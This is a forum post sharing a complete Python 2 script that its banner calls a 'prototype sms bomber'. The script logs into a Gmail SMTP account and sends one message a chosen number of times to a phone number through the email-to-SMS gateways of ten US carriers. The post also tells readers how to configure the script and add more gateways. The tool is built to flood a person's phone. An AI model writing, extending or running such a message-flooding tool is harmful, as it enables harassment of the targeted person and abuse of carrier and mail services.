I saw one of these using PHP somewhere in the forums. I thought I would make my own to see if I could. I know, my Python is terrible and there is a very dirty exception that I don't quite know how to handle that can be triggered by pressing enter at the first prompt for input. If anybody knows how to catch that exception properly please let me know. Anyways, here's the goods.
#!/usr/bin/env python
##
### sms-tool.py - messaging over the internet using sms gateways
##
#
import smtplib
emailAddr = "@gmail.com"
emailPasswd = ""
smtpServer = "smtp.gmail.com"
smsGateways = ["txt.att.net", # at&t
"vtext.com", # verizon
"vmobl.com", # virgin
"cingular.com", # cingular
"sms.mycricket.com", # cricket
"sms.edgewireless.com", # edge wireless
"qwestmp.com", # qwest
"messaging.sprintpcs.com", # sprint
"page.nextel.com", # nextel
"tmomail.net"] # t-mobile
providers = ["At&t", "Verizon", "Virgin Mobile", "Cingular",
"Cricket", "Edge Wireless", "Qwest", "Sprint",
"Nextel", "T-Mobile"]
def banner():
print " sms-tool.py - prototype sms bomber"
print " by frog(frog5346@gmail.com)"
print ""
def main():
banner()
for item in range(len(smsGateways)):
print (" " + str(item) + ": " + providers[item] + " (" +
smsGateways[item]) + ")"
print ""
choice = raw_input("Choose provider: ")
while int(choice) >= len(smsGateways):
print "Invalid choice."
choice = raw_input("Choose provider: ")
if int(choice) < len(smsGateways):
print "Provider: " + providers[int(choice)]
phoneNum = raw_input("Enter number(area code first): ")
print "Phone: " + str(phoneNum) + "@" + smsGateways[int(choice)]
msg = raw_input("Now type your message: ")
print ""
print "To: " + str(phoneNum) + "@" + smsGateways[int(choice)]
print "Message: " + msg
print ""
theCount = raw_input("How many times should we send the message? ")
allCount = theCount
print "Message will be sent " + theCount + " times."
confirm = raw_input("Ready to send? ")
if confirm == "y" or confirm == "Y" or confirm == "yes" or confirm == "Yes":
destAddr = str(phoneNum) + "@" + smsGateways[int(choice)]
connection = smtplib.SMTP(smtpServer)
connection.set_debuglevel(1)
try:
connection.starttls()
connection.login(emailAddr, emailPasswd)
except smtplib.SMTPAuthenticationError, smtplib.SMTPException:
print "SMTP Authentication error."
exit()
while theCount > 0:
connection.sendmail(emailAddr, destAddr, msg)
theCount = int(theCount) - 1
print ""
print str(allCount) + " message(s) sent successfully."
if confirm == "n" or confirm == "N" or confirm == "no" or confirm == "No":
print "Aborted."
exit()
if __name__ == "__main__":
main()
Make sure to set your email address and password before running it. I recommend using a gmail account as it's the only one I've tested and know for a fact it works. Also if you want to add more providers/gateways just add an entry to each list(a server-name for the 'gateways' list and a proper-name for the 'providers' list).